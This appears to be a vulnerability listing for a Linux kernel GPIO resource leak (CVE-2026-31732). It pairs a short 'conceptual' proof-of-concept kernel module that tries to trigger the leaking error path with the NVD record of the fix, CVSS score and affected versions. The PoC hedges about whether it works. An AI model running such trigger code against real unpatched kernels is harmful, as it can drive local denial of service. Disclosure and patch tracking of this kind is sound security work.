CVE-2026-31732

/* * Conceptual PoC for CVE-2026-31732 * This kernel module attempts to trigger the error path in * gpiochip_add_data_with_key to demonstrate the resource leak. */ #include <linux/module.h> #include <linux/gpio/driver.h> #include <linux/err.h> static int __init poc_init(void) { struct gpio_chip *chip; int ret; // Allocate and zero out a dummy gpio_chip structure chip = kzalloc(sizeof(*chip), GFP_KERNEL); if (!chip) return -ENOMEM; // Setup minimal required fields to pass initial checks chip->label = "poc_gpio"; chip->ngpio = 0; // Setting invalid or zero values might trigger error paths chip->parent = NULL; chip->owner = THIS_MODULE; // Attempt to add the chip. // If internal initialization fails, it hits the vulnerable error path. ret = gpiochip_add_data(chip, NULL); if (ret) { pr_info("PoC: gpiochip_add_data failed as expected (ret=%d). Resource leak may have occurred.", ret); // In the vulnerable version, resources allocated before this point are leaked. kfree(chip); // Clean up our own allocation return 0; } // If successful, remove it (not the vulnerable path) gpiochip_remove(chip); kfree(chip); return 0; } static void __exit poc_exit(void) { pr_info("PoC module exited."); } module_init(poc_init); module_exit(poc_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("PoC for CVE-2026-31732 GPIO Resource Leak");

{"cve": {"id": "CVE-2026-31732", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:35.807", "lastModified": "2026-05-07T15:36:58.830", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ngpio: Fix resource leaks on errors in gpiochip_add_data_with_key()\n\nSince commit aab5c6f20023 (\"gpio: set device type for GPIO chips\"),\n`gdev->dev.release` is unset. As a result, the reference count to\n`gdev->dev` isn't dropped on the error handling paths.\n\nDrop the reference on errors.\n\nAlso reorder the instructions to make the error handling simpler.\nNow gpiochip_add_data_with_key() roughly looks like:\n\n >>> Some memory allocation. Go to ERR ZONE 1 on errors.\n >>> device_initialize().\n\n gpiodev_release() takes over the responsibility for freeing the\n resources of `gdev->dev`. The subsequent error handling paths\n shouldn't go through ERR ZONE 1 again which leads to double free.\n\n >>> Some initialization mainly on `gdev`.\n >>> The rest of initialization. Go to ERR ZONE 2 on errors.\n >>> Chip registration success and exit.\n\n >>> ERR ZONE 2. gpio_device_put() and exit.\n >>> ERR ZONE 1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.9", "versionEndExcluding": "6.18.22", "matchCriteriaId": "21ACBF2B-16E4-4D78-AB62-463FB9D3152C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/16fdabe143fce2cbf89139677728e17e21b46c28", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f0cf9c7b7c281956cc0dec163132cd96f76e1d60", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/fb4584d2b324c522404c733c65840a1a6519ada8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}